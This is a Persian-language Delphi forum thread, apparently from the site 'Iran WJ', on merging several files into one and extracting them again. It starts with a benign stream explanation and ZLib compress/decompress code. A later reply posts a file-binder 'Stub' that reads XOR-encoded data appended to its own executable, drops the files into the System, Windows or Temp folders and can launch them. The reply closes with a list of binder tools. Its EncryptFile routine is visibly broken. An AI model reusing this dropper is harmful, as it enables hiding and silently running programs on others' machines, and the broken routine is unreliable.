ايران ويج

نسخه‌ی کامل: ادغام فایلها
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
با سلام
میشه بگید چطوری میشه با دلفی و بدون Component چند تا فایل را با هم ترکیب کنیم و یک فایل واحد داشته باشم؟
البته بعد از ترکیب کردن هم راهی باشه که دوباره بتونیم تمام فایل ها را از هم جدا کنیم؟

با تشکر فراوان از زحمات شما دوستان عزیز.Heart
خب مثلا از memorystream یا filestream استفاده میکنید اول فایل روکپی میکنید تو Stream بعد طول فایل رو قرار میدین بعد 2 بایتیهم میزارین که بگین این طول فایلی که قرار دادین چند کاراکتره اگه کمتر از 10 بود یک 0 قبلش بزارین بعد فایل و فایلهای دیگه رو به همین صورت قرار بدین و در اخر Stream رو ذخیره کنید حالا برای در اوردن فایلها میتونین فایل رو با همون Stream باز کنید بعد میرید به اخر فایل 2 بایت اخر فایل رو میخونین که میشه هر عددی هست از انتهای فایل به این اندازه+2 بایت(طولی که خوانده شد)
عقب میاین و اندازه فایل رو میخونین حالا طول فایل رو دارین بعد از انتهای فایل به اندازه طول فایلی که به دست اوردین+سایز طول فایل+2 بایت میاین عقب و به اندازه طول فایل از Stream برمیدارین و در یک Stream دیگه قرار میدین و اونو ذخیره میکنید و همین طور عقب میاین تا به ابتدای فایل برسین
راه راحترش استفاده از Record ها هست
ممنون از توضیحاتی که دادید.
من کد زیر را پیدا کردم فقط وقتی که می خواهد تمام فایل ها را از هم جدا نمایش بدهد اسم فایل ها عوض می شود و همین طور پسوند فایل ها هم تغییر می کنند لطفا راهنمایی کنید؟

کد:
System.ZLib

procedure CompressFiles(Files : TStrings; const Filename : String);
var
  infile, outfile, tmpFile : TFileStream;
  compr : TCompressionStream;
  i,l : Integer;
  s : String;

begin
  if Files.Count > 0 then
  begin
    outFile := TFileStream.Create(Filename,fmCreate);
    try
      { the number of files }
      l := Files.Count;
      outfile.Write(l,SizeOf(l));
      for i := 0 to Files.Count-1 do
      begin
        infile := TFileStream.Create(Files[i],fmOpenRead);
        try
          { the original filename }
          s := ExtractFilename(Files[i]);
          l := Length(s);
          outfile.Write(l,SizeOf(l));
          outfile.Write(s[1],l);
          { the original filesize }
          l := infile.Size;
          outfile.Write(l,SizeOf(l));
          { compress and store the file temporary}
          tmpFile := TFileStream.Create('tmp',fmCreate);
          compr := TCompressionStream.Create(clMax,tmpfile);
          try
            compr.CopyFrom(infile,l);
          finally
            compr.Free;
            tmpFile.Free;
          end;
          { append the compressed file to the destination file }
          tmpFile := TFileStream.Create('tmp',fmOpenRead);
          try
            outfile.CopyFrom(tmpFile,0);
          finally
            tmpFile.Free;
          end;
        finally
          infile.Free;
        end;
      end;
    finally
      outfile.Free;
    end;
    DeleteFile('tmp');
  end;
end;

procedure DecompressFiles(const Filename, DestDirectory : String);
var
  dest,s : String;
  decompr : TDecompressionStream;
  infile, outfile : TFilestream;
  i,l,c : Integer;
begin
  // IncludeTrailingPathDelimiter (D6/D7 only)
  dest := IncludeTrailingPathDelimiter(DestDirectory);

  infile := TFileStream.Create(Filename,fmOpenRead);
  try
    { number of files }
    infile.Read(c,SizeOf(c));
    for i := 1 to c do
    begin
      { read filename }
      infile.Read(l,SizeOf(l));
      SetLength(s,l);
      infile.Read(s[1],l);
      { read filesize }
      infile.Read(l,SizeOf(l));
      { decompress the files and store it }
      s := dest+s; //include the path
      outfile := TFileStream.Create(s,fmCreate);
      decompr := TDecompressionStream.Create(infile);
      try
        outfile.CopyFrom(decompr,l);
      finally
        outfile.Free;
        decompr.Free;
      end;
    end;
  finally
    infile.Free;
  end;
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
CompressFiles(Memo1.Lines,'D:\sina\Russian.kgb');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  DecompressFiles('D:\sina\Russian.kgb','D:\sina\')
end;
این برای فشرده سازی یک فایل و خارج کردن اون فایل از حالت فشرده هست یعنی همیشه کد کامپرس و دیکامپرس بایستی کنار هم باشن در صورتی که بایستی به صورت مجزی از هم در 2 برنامه جداگانه باشن شما نیاز به 2 برنامه exe داریم اولی ادریتور هست که فایل هایی که شما لیست میکنین رو به Stub اضافه میکنه و دومی فایل stub هست که وقتی اجرا میشه فایلها رو از انتهای خودش میخونه و اکسترکت میکنه

کد:
program Stub;

uses
  Windows;

type
  TBinder = record
    sFileName: String[50]; // filename to extract, not full path just name
    siInstallFolder: Byte; // where to copy it?
    bRunFile: Boolean;
    dwLength: DWORD; // Length of File that is bound
    dwEncryptKey: DWORD; // encryption key, always different ..
  end;

const
  IF_SYSTEM = 1;
  IF_WINDOWS = 2;
  IF_TEMP = 3;
  IF_ROOT = 0;

function ShellExecute(hWnd: HWND; Operation, FileName, Parameters,
  Directory: PChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll' name 'ShellExecuteA';

procedure EncryptFile(var lpData: PChar; dwLen, dwKey: DWORD);
var
  i: Integer;
begin
  for i := 0 to dwLen -1 do
  begin
    if i < 4 then
      continue;
    lpData := chr(ord(lpData) xor dwKey);
  end;
end;

function GetSettingsData(FileName: String; // filename from where to get data
                        var lpData: PChar; // where to write data
                        var dwSettingsLen: DWORD // returns the length of all bound files
                        ): Boolean;
var
  hFile: THandle;
  DosHeader: TImageDosHeader;
  NtHeaders: TImageNtHeaders;
  SectionHeader: TImageSectionHeader;
  dwReadBytes, dwOrginalFileSize, dwFileSize, dwSettingsLength: DWORD;
begin
  Result := False;
  hFile := CreateFile(PChar(FileName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  SetFilePointer(hFile, 0, nil, FILE_BEGIN);
  ReadFile(hFile, DosHeader, sizeof(DosHeader), dwReadBytes, nil);
  if dwReadBytes = sizeof(DosHeader) then
  begin
    SetFilePointer(hFile, DosHeader._lfanew, nil, FILE_BEGIN);
    ReadFile(hFile, NtHeaders, sizeof(NtHeaders), dwReadBytes, nil);
    if dwReadBytes = sizeof(NtHeaders) then
    begin
      SetFilePointer(hFile, sizeof(SectionHeader) * (NtHeaders.FileHeader.NumberOfSections -1), nil, FILE_CURRENT);
      ReadFile(hFile, SectionHeader, sizeof(SectionHeader), dwReadBytes, nil);
      dwOrginalFileSize := SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData;
      dwFileSize := GetFileSize(hFile, nil);
      dwSettingsLength := dwFileSize - dwOrginalFileSize;
      if dwSettingsLength > 0 then
      begin
        SetFilePointer(hFile, dwOrginalFileSize, nil, FILE_BEGIN);
        GetMem(lpData, dwSettingsLength);
        ReadFile(hFile, lpData^, dwSettingsLength, dwReadBytes, nil);
        if dwReadBytes = dwSettingsLength then
        begin
          Result := True;
          dwSettingsLen := dwSettingsLength;
        end;
      end;
    end;
  end;
  CloseHandle(hFile);
end;

کد:
procedure ExtractFiles;
var
  i, // here will be saved how much bytes are already done ..
  dwDataLength: DWORD; // length of data after all sections ..
  lpFile: Pointer; // pointer in memory to our file that will be extracting ..
  lpFilename, // yey winapi
  lpData: PChar; // here will be all data after "EOF" (End of all sections data)
  sExtractFilename, // the extract filename ..
  sFileName, // the filename where the file will be extracted ..
  sInstallFolder: String; // the installation foldername (eg windir, system, temp, c:\ ..)
  InstallFolder: Array[0..MAX_PATH] of Char; // didnt wanted to use pchar, always realoc memory, simple array of char is also good
  Binder: TBinder;

// writting
  hFile: THandle;
  lpNumberOfBytesWritten: DWORD;
begin
  GetMem(lpFilename, MAX_PATH);
  GetModuleFileName(GetModuleHandle(nil), lpFilename, MAX_PATH);
  if GetSettingsData(lpFilename, lpData, dwDataLength) then
  begin
    i := 0;
    repeat
      ZeroMemory(@InstallFolder, sizeof(InstallFolder));
      ZeroMemory(@Binder, sizeof(TBinder));
      Binder := TBinder(Pointer(@lpData)^);

      sExtractFilename := Binder.sFileName;

      // get the installation folder
      case Binder.siInstallFolder of
        IF_SYSTEM:
        begin
          GetSystemDirectory(InstallFolder, MAX_PATH);
          sInstallFolder := String(InstallFolder) + '\';
        end;
        IF_WINDOWS:
        begin
          GetWindowsDirectory(InstallFolder, MAX_PATH);
          sInstallFolder := String(InstallFolder) + '\';
        end;
        IF_TEMP:
        begin
          GetTempPath(MAX_PATH, InstallFolder);
          sInstallFolder := String(InstallFolder);
        end;
        IF_ROOT:
        begin
          GetWindowsDirectory(InstallFolder, MAX_PATH);
          sInstallFolder := Copy(InstallFolder, 1, 3);
        end;
      end;

      // installation filename
      sFileName := sInstallFolder + sExtractFileName;
    
      // our pointer to the file in memory, yey yey
      lpFile := @lpData[i + sizeof(TBinder)];
      EncryptFile(PChar(lpFile), Binder.dwLength, Binder.dwEncryptKey);
      hFile := CreateFile(PChar(sFilename), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, 0, 0);
      if hFile = INVALID_HANDLE_VALUE then
      begin
        // dont work :|
        Inc(i, (sizeof(TBinder) + Binder.dwLength));
        continue;
      end;
      WriteFile(hFile, lpFile^, Binder.dwLength, lpNumberOfBytesWritten, nil);
      CloseHandle(hFile);

      // run File
      if Binder.bRunFile then
        ShellExecute(0, 'open', PChar(sFilename), nil, nil, SW_NORMAL);

      Inc(i, (sizeof(TBinder) + Binder.dwLength));
    until i >= dwDataLength;
  end;
  FreeMem(lpFilename, MAX_PATH);
end;

begin
  ExtractFiles;
end.
اینم یه لیست از بیندرها از ارشیو من

2Ex Binder
Adrenaline_Binder
Adv Builder
AFX Executable Binder PRO
BetterEditServer
Binding
EditServer v1
ExeJoiner by TM
Supa Binder v0.1
و....